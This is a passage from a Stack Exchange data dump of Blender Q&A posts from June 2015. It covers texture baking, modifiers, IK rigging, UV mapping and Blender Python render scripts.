  <row Id="32682" PostTypeId="2" ParentId="32677" CreationDate="2015-06-19T03:10:28.773" Score="17" Body="&lt;p&gt;This can be done easily with some baking in Blender.&lt;/p&gt;&#xA;&lt;p&gt;First, join your two object together with &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Create UV map for your bake that include both objects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTuNq.png&quot; alt=&quot;New &amp;quot;baked&amp;quot; UV Map&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then create a new image for your texture bake, create a new material for it, and make sure it's selected.&lt;/p&gt;&#xA;&lt;p&gt;Then go to the textures tab, create a new texture, and create (or link in) an image; for example, to create a new 4096² texture image for the output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dCVJo.png&quot; alt=&quot;Creating a new texture&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/iPxsQ.png&quot; alt=&quot;Creating an empty image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRL5e.png&quot; alt=&quot;Setting size of the empty image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then go to the Render tab of the Properties editor, and ensure that the &lt;strong&gt;Render Engine&lt;/strong&gt; is set to &lt;strong&gt;Cycles&lt;/strong&gt; (othwerise the &lt;strong&gt;Bake&lt;/strong&gt; panel below will not be available):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpaqD.png&quot; alt=&quot;Cycles render engine&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;strong&gt;Bake&lt;/strong&gt; panel, set the &lt;strong&gt;Bake Mode&lt;/strong&gt; to &lt;strong&gt;Textures&lt;/strong&gt;, and press &lt;strong&gt;Bake&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkxnY.png&quot; alt=&quot;Bake panel options&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should get something like this. (of course it will be your textures instead of mine)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GIirv.png&quot; alt=&quot;Baked texture result&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then just save out the image, remove the other material slots and the first UV map, and you should be good!&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="84147" LastEditDate="2021-04-19T10:38:35.560" LastActivityDate="2021-04-19T10:38:35.560" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32683" PostTypeId="2" ParentId="32500" CreationDate="2015-06-19T03:13:29.727" Score="1" Body="&lt;p&gt;Move The Green Timeline Marker On The Frame You Want to Delete The Keyframe on and press alt+I this will delete all current keyframes on that frame.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-06-19T03:13:29.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32684" PostTypeId="2" ParentId="32346" CreationDate="2015-06-19T03:22:58.940" Score="0" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJkbB.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go Into Sculpt Mode And Look On The Left Side And Scroll Down Till You See Symmetry Lock And Click Any of The X,Y,Z SO They All Show Up White And Not Dark.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-06-19T03:22:58.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32685" PostTypeId="2" ParentId="31994" CreationDate="2015-06-19T03:32:30.370" Score="1" Body="&lt;p&gt;look at &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?294632-Convert-Logic-bricks-to-python-scripts-how&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?294632-Convert-Logic-bricks-to-python-scripts-how&lt;/a&gt; and read &quot;kastoria&quot; post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they said &quot;As far as I know, there is no automatic way to convert the logic bricks into Python script. However, porting the logic bricks into Python should be very straight forward. Each Sensor goes into a Controller that is a simple &quot;AND&quot; or &quot;OR&quot; operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1) Replace all the and/or Controllers with Python controllers that simply do the same AND/OR operation.&#xA;Step 1.5) Test everything to ensure nothing has been broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2) Remove all the Keyboard/Joystick/Mouse button sensors and access them directly in your Python though&#xA;Step 2.5) Test everything to ensure that nothing has been broken.&#xA;bge.logic.keyboard, bge.logic.joysticks, bge.logic.mouse, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3) Remove the Actuators that are easy to do. Things like 'Property' and movement actuators are pretty straight forward to replace with Python code&#xA;Step 3.5) Test everything again to ensure nothing has broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4) Move the more difficult Actuators to Python. Things like 'Action' actuators that play animations require a bit of work to replace with Python code.&#xA;Step 4.5) That's right, test again.&quot; but to be honest i dont know if this will work for you or not since im new to blender still.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-06-19T03:32:30.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32686" PostTypeId="1" CreationDate="2015-06-19T03:48:05.593" Score="1" ViewCount="1399" Body="&lt;p&gt;I have the following setup: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bezier curve and an object, originally with all its transforms cleared to identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then proceed to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an array modifier to the object to replicate it along the curve.&lt;/li&gt;&#xA;&lt;li&gt;Add a Curve modifier to have the array instances follow the path of the curve.&lt;img src=&quot;https://i.stack.imgur.com/YCJd5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnCMS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply both modifiers to the object.&lt;/li&gt;&#xA;&lt;li&gt;In Edit mode, I separate the object by loose parts, so that I end up with individual objects all along the curve.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point what I notice is that each object's local origin / frame of reference is no longer orthonormal to the object in question but rather, each object's origin is the center origin of the original object I used as the source for the modifiers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's one of the objects along the path. Notice how its origin's position / orientation are really the one of the original object in the center of the world: This is before doing &lt;code&gt;Origin to Geometry&lt;/code&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;  + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fxEW8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is after trying to center the origin on the object:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jnRu6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the origin is now 'centered' on the objet but still oriented to the center of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I now have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bQhk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need something like this: (I achieved the origin pointing this way by switching from 'local' to 'view' mode, but the origin itself is still wrong in reality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0u4Pn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, the origin should be pointing along the path.&lt;/p&gt;&#xA;" OwnerUserId="6239" LastEditorUserId="1245" LastEditDate="2015-06-19T19:44:22.790" LastActivityDate="2015-06-19T19:44:22.790" Title="How to reset local orientation / frame of reference of object created from array modifier?" Tags="&lt;modifiers&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32688" PostTypeId="1" AcceptedAnswerId="32712" CreationDate="2015-06-19T08:47:09.257" Score="0" ViewCount="2273" Body="&lt;p&gt;I am working on a project which uses a 3D printer to print parts of the moon, and was linked this add-on to start creating my own models, I have got to this stage&lt;img src=&quot;https://i.stack.imgur.com/q3fsr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i export the file as a stl from this point, the stl loads nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there a way to add a flat base to the model, so it sits smoothly when I print it&lt;/p&gt;&#xA;" OwnerUserId="15092" LastActivityDate="2019-09-11T03:16:42.087" Title="Stl Files and Adding Bases" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32690" PostTypeId="1" CreationDate="2015-06-19T11:12:11.473" Score="2" ViewCount="36" Body="&lt;p&gt;I've only been using blender a few days and I'd love to be pointed in the right direction on to how to alter the text I have within my image textures&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U8LDB.jpg&quot; alt=&quot;text on labels&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make the text on the labels stand out by maybe making them glossy like the lids whilst still keeping the rest of the label glossy and with the shaders I already have set.&#xA;Can I edit this from the image texture or could i maybe add a seperate text layer from the image texture and add on top?? (I haven't explored anything like text yet and I'm pretty lost on what I can do!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks any advice is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="15082" LastEditorUserId="15082" LastEditDate="2015-06-19T11:41:56.723" LastActivityDate="2015-06-19T11:41:56.723" Title="Bringing out text within an Image Texture" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-06-19T13:03:41.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="32692" PostTypeId="1" AcceptedAnswerId="32911" CreationDate="2015-06-19T12:07:40.333" Score="4" ViewCount="1014" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bqC5.png&quot; alt=&quot;tank track curve modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a cube with a curve modifier and array modifer to run create a set of tracks for a tank model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the cube appears to be at a slight angle and I can not work out why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no rotation on the cube itself so I am not sure where the rotation is coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/291/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=291&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14781" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-24T08:20:59.873" Title="How can I prevent an object from being too deformed when using a Curve modifier?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32693" PostTypeId="1" AcceptedAnswerId="32694" CreationDate="2015-06-19T12:19:40.153" Score="1" ViewCount="990" Body="&lt;p&gt;I created my UV texture file and it is displaying fine in the UV/Image Editor window, but it is not showing up on the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In every tutorial and every where I've checked on the web it is supposed to auto update on the model and there is even an &quot;Update Automatically&quot; check box, which is ticked, but not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore the properties window, adding it as a texture should only be necessary for final renders, to my understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0AuTI.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15054" LastEditorUserId="241" LastEditDate="2015-06-19T12:24:12.317" LastActivityDate="2015-06-21T12:30:54.467" Title="UV auto update not working" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32694" PostTypeId="2" ParentId="32693" CreationDate="2015-06-19T12:39:36.137" Score="-1" Body="&lt;p&gt;I discovered my fault. &#xA;the auto update texture only works while selecting your model on the EDIT MODE of the 3d View window, then selecting the desired texture on the UV/Image Editor window.&#xA;i was selecting the texture without entering edit mode. :9&lt;/p&gt;&#xA;" OwnerUserId="15054" LastEditorUserId="15054" LastEditDate="2015-06-21T12:30:54.467" LastActivityDate="2015-06-21T12:30:54.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32695" PostTypeId="1" CreationDate="2015-06-19T13:58:45.857" Score="1" ViewCount="62" Body="&lt;p&gt;Does Blender remember every manipulation done (especially creating mesh, scaling, translation, rotation, extrusion, deletion, loop cut etc)? If not, how can this be achieved? Because I was looking at this video and was asking myself how every edit he made were recorded and I would like to look back the process of my model. &lt;a href=&quot;https://www.youtube.com/watch?v=3edaWDU_xKE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=3edaWDU_xKE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-19T14:08:21.123" LastActivityDate="2015-06-19T14:20:24.183" Title="Does Blender remember every manipulation done?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32696" PostTypeId="2" ParentId="32695" CreationDate="2015-06-19T14:20:24.183" Score="3" Body="&lt;p&gt;No it doesn't remember edits for playback like you want (and like ZBrush and others can).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you would need to do is to export each step as an .obj, load them all into a new scene and animate them so they appear in a sequence one after another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can render this with orbiting camera and with wire-frame modifier on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using scripting to do this would be smart, there are many answers here how to import multiple obj's and how to animate multiple objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some addons can store geometry states into a buffer, but there is no way that I know of how to efficiently animate them.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-19T14:20:24.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32697" PostTypeId="1" AcceptedAnswerId="32745" CreationDate="2015-06-19T14:37:32.573" Score="6" ViewCount="5309" Body="&lt;p&gt;I'm trying to rig a robot arm where every bone can rotate only around one axis. It works fine when i position them one by one, but if I put an IK bone to control the whole arm, the limit rotation constraints on all bones are ignored. I understand that the whole IK task changes dramatically when there are other constraints but was wondering whether there might be some solution to this.&lt;/p&gt;&#xA;" OwnerUserId="3152" LastActivityDate="2015-06-20T11:45:23.470" Title="Can IK constraint be setup so it respects constraints of affected bones" Tags="&lt;armature&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32698" PostTypeId="2" ParentId="32692" CreationDate="2015-06-19T14:40:51.867" Score="1" Body="&lt;p&gt;It's trying to follow the curve the best it can, and deforming the mesh in the process. You could use a vertex group to limit the influence of the curve modifier, but I think you'd still get deformation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to eliminate the angle deformation would be to straighten the curve. Go into &lt;code&gt;Edit mode&lt;/code&gt;, select all vertices with &lt;kbd&gt;A&lt;/kbd&gt;, and scale to 0 by &lt;code&gt;X&lt;/code&gt; axis (&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;code&gt;X&lt;/code&gt; &gt; 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need the curve to go into that angle, you could try using dupliverts.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastEditorUserId="1245" LastEditDate="2015-06-19T15:03:32.293" LastActivityDate="2015-06-19T15:03:32.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32699" PostTypeId="1" AcceptedAnswerId="32703" CreationDate="2015-06-19T15:23:52.087" Score="2" ViewCount="529" Body="&lt;p&gt;I am doing a big animation project and I need to use a python script to do it. As a first test to understand how it works. I am using this script found here &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Command_Line&quot; rel=&quot;nofollow&quot;&gt;blender script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import Blender&#xA;from Blender import *&#xA;from Blender.Scene import Render&#xA;&#xA;scn = Blender.Scene.Get(&quot;Scene&quot;)     &#xA;context = scn.getRenderingContext()&#xA;&#xA;context.extensions = True&#xA;context.renderPath = &quot;c:\\temp&quot;&#xA;context.sizePreset(Render.PAL)&#xA;context.imageType = Render.TARGA&#xA;context.fps = 25&#xA;context.sFrame = 1       &#xA;context.eFrame = 100         &#xA;&#xA;context.renderAnim()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to execute this script, i used this command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python runblender.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):  &#xA;File &quot;/Users/xxx/Desktop/pythonscript/runblender.py&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;    import Blender&#xA;ImportError: No module named 'Blender'&#xA;&#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="3078" LastEditDate="2015-06-19T17:48:31.163" LastActivityDate="2015-06-19T17:48:31.163" Title="How can I execute Blender from a script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32700" PostTypeId="1" AcceptedAnswerId="32705" CreationDate="2015-06-19T15:41:27.057" Score="2" ViewCount="117" Body="&lt;p&gt;I have already made the Cyodrake's Gaze for my animation, but I really don't want to have to do it all over again for scenes 6, 7, 31... and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to copy/paste an object into scenes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nefer007&lt;/p&gt;&#xA;" OwnerUserId="13814" LastActivityDate="2015-06-19T16:05:02.677" Title="How to import an object across scenes (sort-of)" Tags="&lt;objects&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-06-20T13:12:27.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="32703" PostTypeId="2" ParentId="32699" CreationDate="2015-06-19T15:58:12.373" Score="2" Body="&lt;p&gt;If you are using Blender 2.5 onwards, it doesn't have a Blender module, the script you are trying to run was written for 2.49 or lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The equivalent script for Blender 2.7+ would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;c = bpy.context.scene&#xA;r = c.render&#xA;&#xA;r.use_file_extension = True&#xA;r.filepath = 'c:\\temp'&#xA;&#xA;#Set PAL 16:9 settings manually&#xA;r.resolution_x = 720&#xA;r.resolution_y = 576&#xA;r.pixel_aspect_x = 16&#xA;r.pixel_aspect_y = 11&#xA;&#xA;r.image_settings.file_format = 'TARGA'&#xA;r.fps = 25&#xA;c.frame_start = 1       &#xA;c.frame_end = 100         &#xA;&#xA;bpy.ops.render.render(animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="47" LastEditDate="2015-06-19T16:46:32.487" LastActivityDate="2015-06-19T16:46:32.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32704" PostTypeId="2" ParentId="31164" CreationDate="2015-06-19T16:03:45.743" Score="1" Body="&lt;p&gt;The video sequencer is doing all its editing in CPU currently (version 2.75). I do have a plan to move some operations to OpenGL. A lot of operations are also not multithreaded. Effect application is multithreaded for instance but scaling images to screen resolution, which is a big computational sink is not.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2015-06-19T16:03:45.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32705" PostTypeId="2" ParentId="32700" CreationDate="2015-06-19T16:05:02.677" Score="3" Body="&lt;p&gt;To do that you just link the object to the new scene, and then make it a single user object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select object in Scene 1&lt;/li&gt;&#xA;&lt;li&gt;In the Object menu, choose Make Links &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &gt; Objects to Scene &gt; Scene 2 (or whatever scene you want to link it to.&lt;/li&gt;&#xA;&lt;li&gt;At this point the object is not a separate copy from the Scene 1 object. To make it separate, with the object selected, open the Object Menu, choose Make Single User &gt;  Object (or one of the other options if appropriate)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-19T16:05:02.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32706" PostTypeId="1" CreationDate="2015-06-19T16:17:51.807" Score="1" ViewCount="124" Body="&lt;p&gt;I am having issue with Blender not catching Wacom buttons when pressed. Gimp and Houdini and every other app are working perfectly.&#xA;I set buttons using &lt;em&gt;xsetwacom set&lt;/em&gt; command. Is there anything specific I need to do to enable this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14266" LastActivityDate="2015-06-19T16:17:51.807" Title="Blender Wacom buttons not recognized - Linux Mint" Tags="&lt;interface&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32708" PostTypeId="2" ParentId="32697" CreationDate="2015-06-19T16:30:19.937" Score="2" Body="&lt;p&gt;When there's an IK chain, in the bone section of the properties panel you can limit the rotation and set the amount of stiffness and stretch of every bone involved in the chain.&lt;img src=&quot;https://i.stack.imgur.com/mv5Hi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-19T16:30:19.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32709" PostTypeId="1" CreationDate="2015-06-19T17:07:42.120" Score="3" ViewCount="707" Body="&lt;p&gt;For some reason I can't mirror some poses. The arms and the legs copy the mirror pose partially, and it looks totally weird when trying to mirror a whole animation. Is there a proper way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blend.file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36642&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36642&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="3078" LastEditDate="2015-06-19T17:14:04.360" LastActivityDate="2015-08-19T16:09:04.360" Title="Why can't I mirror some poses?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32711" PostTypeId="1" AcceptedAnswerId="32713" CreationDate="2015-06-19T18:34:55.310" Score="1" ViewCount="4483" Body="&lt;p&gt;I am new to blender and am trying to model an object and export it to unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am having a problem. Black line are forming along several edges of the model when viewed from a distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some screenshots&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Close Up&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o3dSD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From A Distance&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AyEG9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Unity&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LZZsE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s0ZmD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15103" LastActivityDate="2015-06-20T16:56:31.153" Title="Black Lines Along UV Mapped Model" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32712" PostTypeId="2" ParentId="32688" CreationDate="2015-06-19T18:51:39.437" Score="1" Body="&lt;p&gt;&lt;strong&gt;How to add a flat base:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to reposition your mesh so that it is horizontal. After that, select your mesh, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;, click (don't move the mouse), and drag the new mesh down along the Z-axis. Now go into &lt;em&gt;Edit mode&lt;/em&gt;, with &lt;kbd&gt;Tab&lt;/kbd&gt;, select everything with &lt;kbd&gt;A&lt;/kbd&gt;, press &lt;kbd&gt;S&lt;/kbd&gt; to scale, &lt;kbd&gt;Z&lt;/kbd&gt; (limit scaling to Z-axis) and &lt;kbd&gt;0&lt;/kbd&gt;. Your mesh should be flat. Go into &lt;em&gt;Object mode&lt;/em&gt;, select both your objects, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt; to join objects, go into &lt;em&gt;Edit mode&lt;/em&gt; again, select the outer edges of both surfaces with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt;, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;, select &lt;code&gt;Bridge edge loops&lt;/code&gt;, and you're basically done.&#xA;The result should look a bit like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGiBV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14937" LastEditorUserId="14937" LastEditDate="2015-06-19T20:11:25.080" LastActivityDate="2015-06-19T20:11:25.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32713" PostTypeId="2" ParentId="32711" CreationDate="2015-06-19T19:15:55.217" Score="2" Body="&lt;p&gt;Either remap your UVs with &lt;code&gt;smart UV project&lt;/code&gt; and set &lt;code&gt;island margin&lt;/code&gt; to an appropriate value (Experiment, 0.02 works for me), or manually increase the size of the margin around each island by a few pixels. You can easily do this by hand with a photo-editing tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black lines are from the mipmapping used in realtime graphics pipelines, including Blender's editor and Unity. The mipmapping works fine at full resolution (eg: when close to the model) but when the camera is far away, adjacent colours tend to blend together. On your texture, coloured islands are adjacent to black areas, so you have black lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/a/50037/66352&quot;&gt;This Gamedev.SE&lt;/a&gt; answer is wonderful and explains the mipmap bleed effect very well.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="-1" LastEditDate="2017-04-13T12:18:55.973" LastActivityDate="2015-06-20T16:56:31.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32714" PostTypeId="1" AcceptedAnswerId="32752" CreationDate="2015-06-19T19:18:48.733" Score="3" ViewCount="394" Body="&lt;p&gt;I would like to create a shortcut to activate/deactivate (Occlude, Cull and Normal) checkboxes at the same in Texture Paint mode with a single key. &#xA;Is it possible? or is scripting required for something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15015" LastEditorUserId="599" LastEditDate="2015-06-19T19:34:30.750" LastActivityDate="2015-06-20T16:15:38.007" Title="How can I create a shortcut to activate / deactivate multiple checkboxes?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32715" PostTypeId="1" CreationDate="2015-06-19T19:22:21.977" Score="0" ViewCount="157" Body="&lt;p&gt;So, I was just trying to really start mastering U.V. Unwrapping.  I was following &lt;a href=&quot;http://www.raywenderlich.com/49955/blender-tutorial-for-beginners-how-to-make-a-mushroom&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial.  However, whenever I select the top of the mushroom and U.V. unwrap it: I get these strange artifacts in my mesh.  The overall screenshot can be seen here: &lt;img src=&quot;https://i.stack.imgur.com/HkHTq.png&quot; alt=&quot;enter image description here&quot;&gt; and you can see that I've highlighted the problem here: &lt;img src=&quot;https://i.stack.imgur.com/t1bMx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this, and how do I get rid of it?  (I assume that I should.)  What effect will this have on my wraps if left alone?&lt;/p&gt;&#xA;" OwnerUserId="2226" 